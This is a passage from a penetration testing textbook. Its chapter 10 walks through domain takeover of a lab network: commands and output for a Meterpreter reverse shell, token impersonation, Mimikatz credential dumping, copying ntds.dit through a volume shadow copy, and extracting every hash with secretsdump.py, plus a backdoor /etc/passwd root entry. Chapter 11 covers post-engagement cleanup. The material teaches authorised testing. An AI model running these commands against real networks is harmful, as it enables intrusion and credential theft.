therefore has only four domain admin accounts throughout the entire domain, which has 20,000+ user accounts. You’ve obtained half a dozen local administrator account password hashes from various level-one systems, which give you local admin access to a couple of hundred servers and workstations you’ve identified using Pass- the-Hash. Now you need to go into each one of them and see whether a domain admin is logged in. I hope you can appreciate what a tedious task this would be. Because the psexec_ command module uses Metasploit’s threading capabilities and can jump into multiple systems at a time, you can accomplish this feat in just a few minutes, as opposed to spending several hours doing it by hand. Load the psexec_command module from an msfconsole, and enter the necessary parameters: Use auxiliary/admin/smb/psexec_command set rhosts file:/path/to/windows.txt set smbdomain . set smbuser Administrator set smbpass [LMHASH:NTLMHASH] set threads 10 set command qwinsta set verbose false run Running the module displays the output of the qwinsta command on all of your accessible level-one and level-two systems. See listing 10.2 for an example. TIP If you are running this command against hundreds of systems, it is not practical to assume you can watch the output and pick out a domain admin user. Instead, you should create a spool file from the msfconsole using the command spool /path/to/filename. This creates a running log of all your MSF activity that you can search through later using grep. 180 CHAPTER 10 Controlling the entire network [+] 10.0.10.208:445 - Cleanup was successful [+] 10.0.10.208:445 - Command completed successfully! [*] 10.0.10.208:445 - Output for "qwinsta": SESSIONNAME USERNAME ID STATE TYPE DEVICE >services 0 Disc console 1 Conn rdp-tcp#0 tien 2 Active rdpwd rdp-tcp 65536 Listen [+] 10.0.10.207:445 - Cleanup was successful [+] 10.0.10.207:445 - Command completed successfully! [*] 10.0.10.207:445 - Output for "qwinsta": SESSIONNAME USERNAME ID STATE TYPE DEVICE >services 0 Disc console 1 Conn rdp-tcp#2 serveradmin 2 Active rdp-tcp 65536 Listen You will recall from listing 10.1 that the serveradmin user account is a member of the domain admins group. Now you know that the computer at 10.0.10.207 has a domain admin user logged in via Remote Desktop (RDP). The next step is to access this sys- tem using the local administrator credentials you already have. Then, use the domain admin user’s active session to elevate your privileges to domain admin. In this case, I prefer to access the machine directly using a Meterpreter payload, which you are already familiar with. However, you could do so with any means of remote access that grants you command-line capabilities on the target machine. 10.2 Obtaining domain admin privileges When you already have credentials for a Windows system, and you need to open a direct access Meterpreter session, I recommend using the psexec_psh module. Do not be confused by the fact that this module is located in the exploit tree. It is not exploiting or attacking any vulnerabilities on the target. It is simply using the native PowerShell functionality in Windows and the administrator credentials you provide to launch a PowerShell payload that connects back to your Metasploit listener and opens a new Meterpreter shell. The following commands launch the module from the msfconsole and gain a Meterpreter shell on the 10.0.10.207 system identified in listing 10.2 as having a domain admin user logged in: use exploit/windows/smb/psexec_psh set rhosts 10.0.10.207 set smbdomain . set smbuser Administrator Listing 10.2 Identifying systems with a logged-in domain admin An ordinary user session Bingo! A domain admin is logged in to this system via RDP. 181 Obtaining domain admin privileges set smbpass [LMHASH:NTLMHASH] set payload windows/x64/meterpreter/reverse_winhttps exploit After launching this module with the exploit command, you see the now-familiar message stating that a new Meterpreter session has opened. msf5 exploit(windows/smb/psexec_psh) > exploit [*] Started HTTPS reverse handler on https://10.0.10.160:8443 [*] 10.0.10.207:445 - Executing the payload... [+] 10.0.10.207:445 - Service start timed out, OK if running a command or non-service executable... [*] https://10.0.10.160:8443 handling request from 10.0.10.207; (UUID: 3y4op907) Staging x64 payload (207449 bytes) ... [*] Meterpreter session 6 opened (10.0.10.160:8443 -> 10.0.10.207:22633) at 2020-02-28 14:03:45 -0600 meterpreter > Now that you have direct access to the target machine, we’ll discuss two methods for obtaining domain admin privileges on the Capsulecorp Pentest domain using the existing user session on this host. The first method uses a Meterpreter extension called Incognito to steal the user’s token, which works on Windows similarly to how a cookie works in your internet browser. If you present Windows with a valid token, you are the user associated with that token. There are more details involved in the techni- cal mechanics of the process, but we don’t need to go into them right now. All you need to understand is that when a user is logged in to a Windows machine, a token is assigned to them and passed around to various components of the OS each time the user invokes an action that requires validation of their access rights. If you have administrator access to a Windows machine, you can obtain the tokens of another logged-in user and therefore masquerade as that user on the machine. In this case, it’s because the user whose token you plan to steal is also joined to an Active Directory domain and consequently is part of the Domain Admins group. You will also obtain those privileges as long as you possess the token and the token remains active. If you want a more technical explanation of this attack vector, read this excellent blog post from the original Incognito authors: https://labs.f-secure.com/archive/ incognito-v2-0-released/. NOTE Be sure to add this meterpreter session to your engagement notes. It is a direct compromise and a shell connection that you will need to destroy properly during post-engagement cleanup. Listing 10.3 Opening a new Meterpreter session on 10.0.10.207 182 CHAPTER 10 Controlling the entire network 10.2.1 Impersonating logged-in users with Incognito Due to the widespread popularity of Incognito, it was incorporated into the Meter- preter payload as an extension you can load by typing the command load incognito. Once it’s loaded, you have access to a couple of commands that will look familiar to anyone who has used the standalone Incognito binary. To get a list of available tokens, run the list_tokens -u command. The output of the command (listing 10.4) shows that a token is available for the capsulecorp\serveradmin user account that we iden- tified previously. The following commands load the Incognito extension into your Meterpreter session and list the available tokens: load incognito list_tokens -u Delegation Tokens Available ======================================== CAPSULECORP\serveradmin NT AUTHORITY\IUSR NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM Window Manager\DWM-1 Window Manager\DWM-2 Taking advantage of this user’s token is as easy as typing impersonate_token capsulecorp\\serveradmin at the Meterpreter prompt. If it isn’t apparent, the reason for the double backslash (\\) is that you are in the Ruby program language, so you need to escape the \ character in strings. Listing 10.5 shows what it looks like when you impersonate a user. You can tell from the status message that the impersonation was successful. If you now execute a command prompt by running the shell command and then issuing the whoami Windows command, you can see that you are impersonating the capsulecorp\serveradmin user account on this machine. [+] Delegation token available [+] Successfully impersonated user CAPSULECORP\serveradmin meterpreter > shell. Process 4648 created. Channel 1 created. Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami. whoami capsulecorp\serveradmin C:\Windows\system32> Listing 10.4 Listing available tokens with Incognito Listing 10.5 Impersonating the domain admin account The token you want to impersonate Successfully impersonated the capsulecorp\ serveradmin user Opens a command shell on the remote host Runs the whoami command to show that you are capsulecorp\serveradmin 183 Obtaining domain admin privileges The second method for obtaining domain admin privileges is to extract the clear-text credentials for this user using Mimikatz (as you did in chapter 8). I prefer this method over impersonating with tokens because tokens expire sooner than the user’s creden- tials. Also, with a valid set of credentials, you can masquerade as a domain admin user on any system you want, as opposed to being limited to the single system that issued the token. 10.2.2 Harvesting clear-text credentials with Mimikatz As you did in chapter 8, you can use CrackMapExec (CME) to run Mimikatz on the 10.0.10.207 host and extract the capsulecorp\serveradmin user’s clear-text creden- tials from the server’s memory. This username and password will get you into any Active Directory–joined computer on the entire network. The following is the com- mand syntax for using Mimikatz with CME: cme smb 10.0.10.207 --local-auth -u administrator -H [hash] -M mimikatz Running the cme command results in the output shown in the next listing. You can see the clear-text credentials for the serveradmin user account. Also, cme generates a handy log file, which stores this information for later retrieval. [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:RADITZ) (domain:RADITZ) (signing:True) (SMBv1:True) [+] RADITZ\administrator c1ea09ab1bab83a9c9c1f1c366576737 (Pwn3d!) [+] Executed launcher [*] Waiting on 1 host(s) [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 - [*] - - "POST / HTTP/1.1" 200 - CAPSULECORP\serveradmin:7d51bc56dbc048264f9669e5a47e0921 CAPSULECORP\RADITZ$:f215b8055f7e0219b184b5400649ea0c CAPSULECORP\serveradmin:S3cr3tPa$$! [+] Added 3 credential(s) to the database [*] Saved raw Mimikatz output to Mimikatz-10.0.10.207-2020-03 03_152040.log. Great! Now you have a valid set of domain admin credentials that you can use to log in to any system on the target network and do anything you want. You might be thinking that the pentest could end here. I prefer to take things one step further, though, and I think you’ll agree after considering the following. Suppose you were a true bad actor who had just carried out this network-level attack and obtained this set of valid domain admin credentials. You aren’t a security consultant hired to improve the company’s security, so your motivations for attacking this organization have to be something else. Maybe you want to steal money, cause harm, or steal intellectual property or trade secrets. Regardless of the reason, getting Listing 10.6 Harvesting the clear-text password using Mimikatz Clear-text password for the capsulecorp\serveradmin account If you forget, the credentials are stored in this log file. 184 CHAPTER 10 Controlling the entire network caught is probably a worst-case scenario for you. With that in mind, are you going to log in to the payroll system with your domain admin credentials and start issuing fake checks? If you do, the account you just compromised will immediately become exposed and will soon be deactivated; you’ll be out of luck and defeat the first goal of post-exploitation—maintaining reliable re-entry into your target environment. If I were a real bad guy, I would be interested in obtaining as many sets of valid cre- dentials as possible. That way, I could log in and out of systems using different sets of employee credentials in an attempt to cover my tracks or at least make it more diffi- cult to detect that I was ever there. This would ensure that I could come and go for as long as possible. The most effective way to accomplish that is to extract all the pass- word hashes for all of the Active Directory users by exporting the ntds.dit database directly from the domain controller. So that’s exactly what we’re going to do next. 10.3 ntds.dit and the keys to the kingdom The password hashes for all Active Directory user accounts are stored on the domain controller in an extensible storage engine database (ESEDB) called ntds.dit. This database exists as a flat binary file at the c:\windows\ntds\ntds.dit file path. As you would expect, this is a carefully protected file; even with administrator access, you can’t modify it or pull password information from it directly. But much as with registry hive files, you can make a copy of ntds.dit and download it from the domain controller. Then, using other tools, you can extract the Active Directory pass- word hashes to your heart’s content. But to do this, you need to locate the domain controller for your target domain. The simplest method is to use the ping command from a machine joined to the domain to resolve the top-level domain. In this case, running ping capsulecorp.local will reveal the IP address of the domain controller. Here is how to use CME to issue that command from the 10.0.10.207 host we’ve been using in this chapter: cme smb 10.0.10.207 --local-auth -u administrator -H [hash] -x "cmd /c ping capsulecorp.local" The following listing shows that the domain controller for this network is located at 10.0.10.200. This system will have the ntds.dit file you need in order to obtain all the password hashes for all the Active Directory user accounts. [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:RADITZ) (domain:RADITZ) (signing:True) (SMBv1:True) [+] RADITZ\administrator c1ea09ab1bab83a9c9c1f1c366576737 (Pwn3d!) [+] Executed command Pinging capsulecorp.local [10.0.10.200] with 32 bytes of data: Reply from 10.0.10.200: bytes=32 time<1ms TTL=128 Reply from 10.0.10.200: bytes=32 time<1ms TTL=128 Listing 10.7 Locating the domain controller’s IP address You get a reply from 10.0.10.200. This is your target domain controller. 185 ntds.dit and the keys to the kingdom The domain admin credentials you obtained have access to log in to this machine. But as mentioned, you cannot simply navigate to the c:\windows\ntds directory and make a copy of the ntds.dit file. If you try that, you’ll be greeted with an “access denied” error message from the OS. So how do you get a copy of the ESEDB file? With Microsoft’s Volume Shadow Copies (VSC). VSC was added to Windows in the days of Windows XP. It was intended to serve as a snapshot that you could use to revert your filesystem back to a given state at a particular point in time when a VSC was made. It turns out that these copies, if present, are just static data mounts. That is, the OS isn’t monitoring them for access restrictions. A VSC behaves much like a USB flash drive. If I have access to read the flash drive, I can access any of the files in it. You can check the domain controller for an existing VSC or create one if one doesn’t exist using the vssadmin command— provided, of course, you have administrator privileges on the server. Take a look at figure 10.2 for a graphical illustration. Now that you’ve located the domain controller and understand a little about VSCs, the next thing to do is check whether it has any existing VSCs you can use to obtain a copy of ntds.dit. If an existing VSC is not present, you can create one using the vssadmin command. 10.3.1 Bypassing restrictions with VSC First, let’s check to see whether this domain controller already has a VSC. It’s quite common for IT systems administrators to regularly create VSCs to use as Microsoft intended: as point-in-time snapshots that they can restore to if something goes wrong. B C D All the password hashes All the password hashes Penetration tester Domain controller $ vssadmin create shadow /for=C: \\?\..\windows\ntds\ntds.dit lmpacket: secretsdump.py \\?\..\windows\system32\config\system Volume shadow copy Impersonate a domain admin user \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 A. Impersonate a domain admin user, and access the domain controller. B. Create a new volume shadow copy with the vssadmin command. C. Steal a copy of NTDS.dit and SYSTEM from the VSC. D. Use secretsdump.py from lmpacket to extract the password hashes for all Active Directory users. All the password hashes A Figure 10.2 Accessing protected domain controller files using a Volume Shadow Copy 186 CHAPTER 10 Controlling the entire network I’ll use the cme command to access the domain controller with the domain admin cre- dentials I have and issue the Windows command vssadmin list shadows to see if there are any existing VSCs on this host: cme smb 10.0.10.200 -u serveradmin -p 'S3cr3tPa$$!' -x 'vssadmin list ➥ shadows' In this case, you can see from the output in the next listing that there are no VSCs on this domain controller. You will have to create one of your own to obtain a copy of ntds.dit. [*] Windows 10.0 Build 17763 (name:GOKU) (domain:CAPSULECORP) [+] CAPSULECORP\serveradmin:S3cr3tPa$$! (Pwn3d!) [+] Executed command vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. No items found that satisfy the query. You can create a fresh VSC using the vssadmin command. For the remainder of this chapter, I assume that you are using cme to interact with the domain controller just as I did for the command that produced the output in listing 10.8. Rather than spell out the cme command, I’ll provide you only with the Windows command that you need to pass to the -x parameter of the cme command on your attacking machine. I’m doing this to save space and keep everything on one line whenever possible. Here is the command to create a new VSC of the C: drive on the Capsulecorp Pentest domain controller: vssadmin create shadow /for=C: Probably the first thing you’ll notice from the output in listing 10.9 is the strange vol- ume name, which starts with \\?\. This weird file path can be accessed like any other file path, by replacing the drive letter with the name of the newly created VSC. To be explic- itly clear, to access the VSC’s ntds.dit file, which is generally located at c:\windows\ ntds\ntds.dit, you target the following path: \\?\globalroot\device\harddiskvolumeshadowcopy1\windows\ntds\ntds.dit [*] Windows 10.0 Build 17763 (name:GOKU) (domain:CAPSULECORP) [+] CAPSULECORP\serveradmin:S3cr3tPa$$! (Pwn3d!) [+] Executed command vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. deal Successfully created shadow copy for 'C:\' Shadow Copy ID: {0fb03856-d017-4768-b00c-5e7b37a6cfd5} Volume Name:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 Listing 10.8 Checking for an existing VSC Listing 10.9 Creating a new VSC This host has no VSCs. Physical path on the machine for accessing the VSC 187 ntds.dit and the keys to the kingdom As you can see, everything after the shadowcopy1\ part is the same as if you were tar- geting files from the C drive. Essentially, you now have a shadow copy of the entire C: drive that’s accessible freely and without access restrictions. Let’s take advantage of this and grab an unprotected copy of the ntds.dit file and place it on the root of the C: drive where you can access it without having to keep typing such a long file path: copy \\?\globalroot\device\harddiskvolumeshadowcopy1\windows\ntds\ntds.dit c:\ntds.dit Recall from section 6.2.1 that to extract local account password hashes from the SAM registry hive, you also need to obtain two secret keys from the system registry hive, which are necessary to decrypt the encrypted hashed values. This is also true for the Active Directory password hashes stored in ntds.dit. You’ll have to grab the system reg- istry hive from the domain controller. You could use the reg.exe command, or you could copy the file directly from the VSC because the filesystem is unprotected. I pre- fer to go that route: copy ➥ \\?\globalroot\device\harddiskvolumeshadowcopy1\windows\system32\config \SYSTEM c:\sys Next, download these two files from the domain controller onto your attacking machine. This is a great opportunity to introduce a tool called smbclient.py, which is part of the Impacket Python framework. The smbclient.py command gives you a fully interactive text-based filesystem browser on the domain controller, provided you give it a valid username and password. The syntax seems a bit odd the first couple of times you use it. You need to specify in single quotes the domain followed by a forward slash (/), then the username followed by a colon (:), and then the password for that account. Then provide the @[IP Address] for the target server you want to connect to: smbclient.py 'CAPSULECORP/serveradmin:S3cr3tPa$$!'@10.0.10.200 Once you are connected with smbclient.py, type use C$ to access the local filesystem share. Type ls at the prompt to see the contents of the root directory, including your ntds.dit and sys copies. Download them both with the get command, and then type exit to close the smbclient.py connection. Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Type help for list of commands # use C$ # ls. drw-rw-rw- 0 Mon Apr 15 09:57:25 2019 $Recycle.Bin drw-rw-rw- 0 Wed Jan 30 19:48:51 2019 Documents and Settings Listing 10.10 Downloading files with smbclient Activates the Windows C$ share Lists the contents of the root directory 188 CHAPTER 10 Controlling the entire network -rw-rw-rw- 37748736 Thu Apr 9 10:19:41 2020 ntds.dit -rw-rw-rw- 402653184 Mon Apr 13 08:48:41 2020 pagefile.sys drw-rw-rw- 0 Wed Jan 30 19:47:05 2019 PerfLogs drw-rw-rw- 0 Wed Jan 30 16:54:15 2019 Program Files drw-rw-rw- 0 Wed Jan 30 19:47:05 2019 Program Files (x86) drw-rw-rw- 0 Thu Jul 11 14:14:10 2019 ProgramData drw-rw-rw- 0 Wed Jan 30 19:48:53 2019 Recovery -rw-rw-rw- 16515072 Thu Jan 31 14:54:41 2019 sys drw-rw-rw- 0 Thu Apr 9 10:30:52 2020 System Volume Information drw-rw-rw- 0 Mon Apr 13 08:58:01 2020 Users drw-rw-rw- 0 Thu Jan 31 15:57:30 2019 Windows # get ntds.dit # get sys # exit In the next chapter, I cover several things you need to know about cleanup activities from a post-engagement perspective. I won’t replicate that content here, but if you’re thinking about deleting the VSC and the ntds.dit and sys files from the C: drive, you are absolutely correct: you should do that on every engagement. Let’s continue and cover the final piece of this puzzle: extracting the user account and password hashes from the ntds.dit file. You’ll find a number of different tools and techniques for this task if you search the internet. We’ve already been using the Impacket framework, so it makes sense to use another tool that comes with it: secretsdump.py, which happens to be excellent and works reliably. 10.3.2 Extracting all the hashes with secretsdump.py The secretsdump.py command takes a couple of arguments. You need to point it to the system registry hive and the ntds.dit file using the -system and -ntds parameters. I also like to specify an optional parameter, -just-dc-ntlm, which suppresses a lot of unnecessary output that secretsdump.py generates if you run it by default: secretsdump.py -system sys -ntds ntds.dit -just-dc-ntlm LOCAL Listing 10.11 shows the output from the Capsulecorp Pentest network, which contains all the password hashes for the entire domain. On a production pentest against a real enterprise environment, this file would likely contain tens of thousands of password hashes and probably take a while to complete. Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Target system bootKey: 0x93f61c9d6dbff31b37ab1a4de9d57e89 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: a3a4f36e6ea7efc319cdb4ebf74650fc [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c078c5c86e3499cc Listing 10.11 Extracting password hashes with secretsdump.py The copy you made of ntds.dit The copy you made of the system registry hive Downloads the ntds.dit copy Downloads the system registry hive copy Exits the smbclient session Another set of domain admin credentials 189 ntds.dit and the keys to the kingdom Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e GOKU$:1000:aad3b435b51404eeaad3b435b51404ee:19dd50c1959a860d13953ad0 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f10fa2ce8a7e767248582f79 GOHAN$:1103:aad3b435b51404eeaad3b435b51404ee:e6746adcbeed3a540645b5f serveradmin:1104:aad3b435b51404eeaad3b435b51404ee:7d51bc56dbc048264f VEGETA$:1105:aad3b435b51404eeaad3b435b51404ee:53ac687a43915edd39ae4b TRUNKS$:1106:aad3b435b51404eeaad3b435b51404ee:35b5c455f48b9ec94f579c trunksadm:1107:aad3b435b51404eeaad3b435b51404ee:f1b2707c0b4aacf4d45f gohanadm:1108:aad3b435b51404eeaad3b435b51404ee:e690d2dd639d6fa868dee vegetaadm:1109:aad3b435b51404eeaad3b435b51404ee:ad32664be269e22b0445 capsulecorp.local\gokuadm:1110:aad3b435b51404eeaad3b435b51404ee:8902 PICCOLO$:1111:aad3b435b51404eeaad3b435b51404ee:33ad82018130db8336f19 piccoloadm:1112:aad3b435b51404eeaad3b435b51404ee:57376301f77b434ac2a YAMCHA$:1113:aad3b435b51404eeaad3b435b51404ee:e30cf89d307231adbf12c2 krillin:1114:aad3b435b51404eeaad3b435b51404ee:36c9ad3e120392e832f728 yamcha:1115:aad3b435b51404eeaad3b435b51404ee:a1d54617d9793266ccb01f3 KRILLIN$:1116:aad3b435b51404eeaad3b435b51404ee:b4e4f23ac3fe0d88e906d RADITZ$:1117:aad3b435b51404eeaad3b435b51404ee:f215b8055f7e0219b184b5 raditzadm:1118:aad3b435b51404eeaad3b435b51404ee:af7406245b3fd62af4a8 TIEN$:1119:aad3b435b51404eeaad3b435b51404ee:ee9b39e59c0648efc9528cb6 capsulecorp.local\SM_4374f28b6ff94afab:1136:aad3b435b51404eeaad3b435 capsulecorp.local\SM_8a3389aec10b4ad78:1137:aad3b435b51404eeaad3b435 capsulecorp.local\SM_ac917b343350481e9:1138:aad3b435b51404eeaad3b435 capsulecorp.local\SM_946b21b0718f40bda:1139:aad3b435b51404eeaad3b435 capsulecorp.local\vegetaadm1:1141:aad3b435b51404eeaad3b435b51404ee:1 tien:1142:aad3b435b51404eeaad3b435b51404ee:c5c1157726cde560e1b8e65f3 [*] Cleaning up... At this point, if you were an actual bad guy/gal, it would be game over for your target company. You have all the password hashes for all of the Active Directory users, includ- ing the domain admins. With these credentials, you could move freely and silently throughout the network environment, rarely having to use the same set of credentials twice. The only way the organization could lock you out, assuming they discovered you in the first place, would be to force a password reset across every user in the company. This concludes the third phase of your INPT. The next and last phase of the engagement is to document your findings in a manner that is both informative and useful for your client. Ultimately, the reason they pay you to penetrate their enterprise network is so you can tell them how to improve their security posture. This is an area where many pentesters struggle. In the next two chapters, you learn how to transform the information you’ve obtained during the technical portion of your engagement into an actionable report. You also learn the eight components that a successful pentest report must contain to help clients improve their security posture and strengthen the business’s overall resiliency to cyber-attacks. 190 CHAPTER 10 Controlling the entire network Summary  The net command can be used to query Active Directory groups and identify domain admin users.  The qwinsta command can be used to display currently logged-in users.  The psexec_command Metasploit module can run the qwinsta command on all your level-one and level-two hosts, quickly locating systems with domain admin users logged in.  Incognito and Mimikatz can be used to harvest credentials and authentication tokens that allow you to impersonate a domain admin account and access the domain controller.  The ntds.dit file is an extensible storage engine database that contains the pass- word hashes for all Active Directory user accounts.  You can access the ntds.dit and system registry hive files from a volume shadow copy (VSC).  The secretsdump.py command from the Impacket python framework can extract the password hashes from ntds.dit. Exercise 10.1: Stealing passwords from ntds.dit Access the domain controller goku.capsulecorp.local using the credentials you obtained from your level-2 host, raditz.capsulecorp.local. Create a volume shadow copy (VSC) using the vssadmin command, and steal a copy of the ntds.dit and the SYSTEM registry hive file from the VSC. Download the ntds.dit and registry hive copy to your attacking machine, and use secretsdump.py to extract all the password hashes from ntds.dit. How many pass- word hashes are there? The answer is in appendix E. Phase 4 Documentation Your engagement is nearing the finish line, but you aren’t done just yet. After concluding your technical testing, you have to put your findings, observations, and recommendations into a concise and actionable report for your client or engagement stakeholders. This part of the book focuses on two main objectives, which you complete at the end of a penetration test. First is the cleanup exercise, which is not about erasing your tracks. Remember, this book focuses on a typical internal network penetration test (INPT), which usually is not stealthy in nature. Rather, cleaning up means being a professional and removing unnecessary artifacts such as left- over files, backdoors, and configuration changes from your attack phases. Chap- ter 11 walks you through the Capsulecorp Pentest environment cleanup activities and prepares you for the types of things you should expect to do at the end of every engagement. In Chapter 12, you learn about the eight components that make up a solid pentest deliverable. You’ll understand what questions each section of a pentest report aims to answer, what to write there, and how best to communicate your messaging. You even get to see a completed pentest report for the Capsulecorp Pentest environment. This report includes all eight components introduced in Chapter 12. 193 Post-engagement cleanup You’ve completed the first three phases of your internal network penetration test (INPT)! Before moving on to the writing your deliverable, I want to cover some post-engagement cleanup etiquette. You’ve spent the last week or two bombarding your client’s network with attacks and compromising countless systems on their domain. This was not a stealthy red team engagement, so you’ve no doubt left lots of traces in your wake—traces such as user accounts, backdoors, binary files, and changes to system configurations. Leaving the network in this state may or may not be in breach of your contract with your client (that’s probably a topic for another book). But it would definitely be considered unprofessional (maybe even a bit immature) and would leave your client with a less than pleasant feeling about the pentest if they discovered the files you carelessly left behind while you were attack- ing their network. This chapter covers  Killing active shell connections  Removing unnecessary user accounts  Deleting miscellaneous files  Reversing configuration changes  Closing backdoors 194 CHAPTER 11 Post-engagement cleanup I understand how exciting it can be to play the role of an attacker. Chasing domain admins and moving from system to system trying to escalate your network access to the top can get the best of you. It isn’t always easy to stop and take proper notes when you just accessed a system that might contain credentials that will let you access another system that finally presents you with the keys to the kingdom. In this chapter, I want to go over a sort of checklist that I use to make sure I’m doing my clients a good service and cleaning up after myself. I’ve classified all remnants of a pentest into the following five categories:  Active shell connections  User accounts  Miscellaneous files  Configuration changes  Backdoors I introduced one or more instances of all five categories to compromised systems throughout the Capsulecorp pentest. While I’m working through a pentest, as soon as I’ve physically touched a machine (or rather, physically touched the keyboard to issue a command to a machine), I ask myself whether I have added one of these things to the target. If yes, I record it in my engagement notes. I’ve done that for the Capsule- corp pentest so I can walk through the five categories and clean up all of my activities. When you are finished with an INPT, the environment should be more or less in the same state that it was before you began the engagement. On the risks associated with pentesting Throughout this chapter, we talk a lot about removing something that was created during an engagement so the client is not left in a vulnerable state. Someone might ask, “Why are you putting your client in a vulnerable state to begin with?” I can see why someone new to the concept of pentesting would wonder this. The reality is this: the client was likely already in a vulnerable state, as you were able to demonstrate by compromising them. Ideally, after your engagement is complete, if you’ve done your job and the client does theirs in terms of implementing the remediation recommendations you provide, they will be significantly more secure as a result of your efforts. I—and all the professional pentesters I’ve met—agree that the long-term benefit outweighs the very short-term risk. Usually we’re talking only a week or two for most engagements. That said, if you cannot accept this idea (and some cannot), there is always the approach of limiting your engagement scope to exclude all penetration of any kind. For example, in chapter 4, when we discovered default credentials, missing OS patches, and insecure system configuration settings, the engagement would have concluded at that point. We would turn in our preliminary results and move on without further penetration. 195 Deactivating local user accounts 11.1 Killing active shell connections During the Capsulecorp pentest, you opened a Meterpreter shell connection to two compromised systems. The first was in section 7.3, when you exploited an unpatched Windows system. The second was in section 10.2, when you accessed a level-two system that was identified as having a domain admin user logged in. To kill all active Meter- preter sessions, you use the sessions -K command—notice the uppercase K—from your msfconsole. Then, to verify that the sessions were killed, run the sessions -l command. The resulting output depicts an msfconsole with no active shell connec- tions, as follows: Active sessions =============== No active sessions. msf5 > If for some reason sessions -K fails to kill any of your sessions, hard exit your msfcon- sole with the exit -y command. If you set up a persistent Meterpreter shell that calls back to your attacking machine, don’t worry; we’ll cover how to take care of these in section 11.5.3. For now, you can simply terminate any active listeners you have up with the jobs -k command in your msfconsole. 11.2 Deactivating local user accounts While conducting a pentest, you may find yourself creating a local user account to compromise a target further. These accounts could expose your client to unnecessary risk if left enabled. All user accounts that you create during your engagement need to be removed before you finish your testing. In the case of the Capsulecorp pentest, you didn’t technically create any user accounts, but you did overwrite the /etc/passwd file of a Linux server with an entry for a root user account that you could control. I suppose you could make the argu- ment that this is more of a backdoor than a new user account, but I include it in this section to be sure I cover the point that if you created a user account, you have to remove it. The entry in /etc/passwd needs to be cleaned up. Of course, then we wouldn’t have discovered that there were shared credentials for local administrator accounts or excessive domain admin privileges or any other vul- nerabilities or attack vectors we were able to uncover only after compromising a level- two system. Rather than focusing on whether you should conduct network pentesting, my goal for writing this book is to teach you how to do it properly. No active sessions are connected. 196 CHAPTER 11 Post-engagement cleanup 11.2.1 Removing entries from /etc/passwd To remove entries from /etc/passwd, SSH into the compromised Linux server as a user with root privileges. If you don’t know the root password, use whatever creden- tials you used to gain access to the system initially, and then use the pentest entry that you added to the /etc/passwd file to elevate to root. If you were to cat out the con- tents of the /etc/passwd file right now, it would look something like the following list- ing, with the pentest entry at the bottom of the file. lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin nail:x:1000:1000:Nail:/home/nail:/bin/bash pentest:$1$pentest$NPv8jf8/11WqNhXAriGwa.:0:0:root:/root:/bin/bash Just as in section 9.3.2, open the /etc/passwd file in a text editor such as vim. Scroll down to the last line, which contains the pentest/root account, and delete it. Save the file, and you’re all set. To verify that the user entry has been properly removed, run the command su pentest from your SSH prompt to try to switch to the pentest user account. You will see an error message saying, “No passwd entry for user ‘pentest.’” If you don’t see this message, then you failed to remove the entry from the /etc/passwd file. Go back and do this properly, as described in section 11.2.1. 11.3 Removing leftover files from the filesystem Throughout your INPT, you’ve undoubtably left traces of your engagement testing on systems you’ve compromised. These traces are in the form of leftover files that have been placed on disk. Obvious risks would be binary executables that could be used to directly compromise one of your client’s systems. There are also less-obvious files, and at the very least it would be considered unprofessional for you to leave them lying around. Listing 11.1 /etc/passwd file with a backdoor entry Pentest entry that is a backdoor to the root user account Post-engagement cleanup is effective only if you took good notes while testing I cannot stress this enough, although I’m sure you may think by now that I’ve stressed it too much. Keeping copious notes of your activities during any pentest is critical. Certainly, it will help with proper post-engagement cleanup; but it’s also just a great habit to form, because at some point in your career, something will go wrong. You will break something. It’s not the end of the world, but your client will need to retrace your steps to figure out how to resolve the issue you created. 197 Removing leftover files from the filesystem In this section, we cover four instances of leftover files that were used during the Cap- sulecorp pentest. In all instances, the steps are the same: delete the file from the filesystem. As long as you noted every file you created on every system where you cre- ated files, you should have no problem going in and cleaning up after yourself. 11.3.1 Removing Windows registry hive copies In section 6.2.1, you created a copy of two Windows registry hives. The SYSTEM and SAM hive copies were placed in the c:\windows\temp directory. Using whatever means of remote administration is comfortable for you, run the following two commands (change the command appropriately if you named your copies something other than sys and sam): del c:\windows\temp\sam del c:\windows\temp\sys Equally as inevitable, and probably more frequent, will be cases where you didn’t break anything, but something broke while you were conducting your engagement, and the finger was pointed at you. In this case, accurate notes of your activities can help exonerate you and, more importantly, help your client realize that they need to look elsewhere to get to the bottom of whatever network issue they are having. It’s not always the pentester’s fault My favorite example of being wrongfully accused of breaking something while on an engagement happened at a medium-sized (less than $1 billion in annual revenue) credit union. Another consultant and I arrived onsite Monday morning to start the engagement. We were placed in a conference room, which is pretty standard practice, and were in the process of unzipping our backpacks and taking out our gear. I hadn’t even plugged an ethernet cable into the network when a man burst into the room and asked frantically, “What have you done? The Exchange server is down, and nobody can get email!” We both looked at the man and then down at our laptops, which were not even powered on or plugged into the network, and then back at the man. Before we could say anything, he realized it couldn’t have been us, apologized, and shut the door. We couldn’t help but laugh—not because our clients were having email problems, but because of how quickly they pointed the finger at us. I was just glad we were able to prove without question that it wasn’t our fault; after all, I hadn’t even powered on my laptop. I’ve been 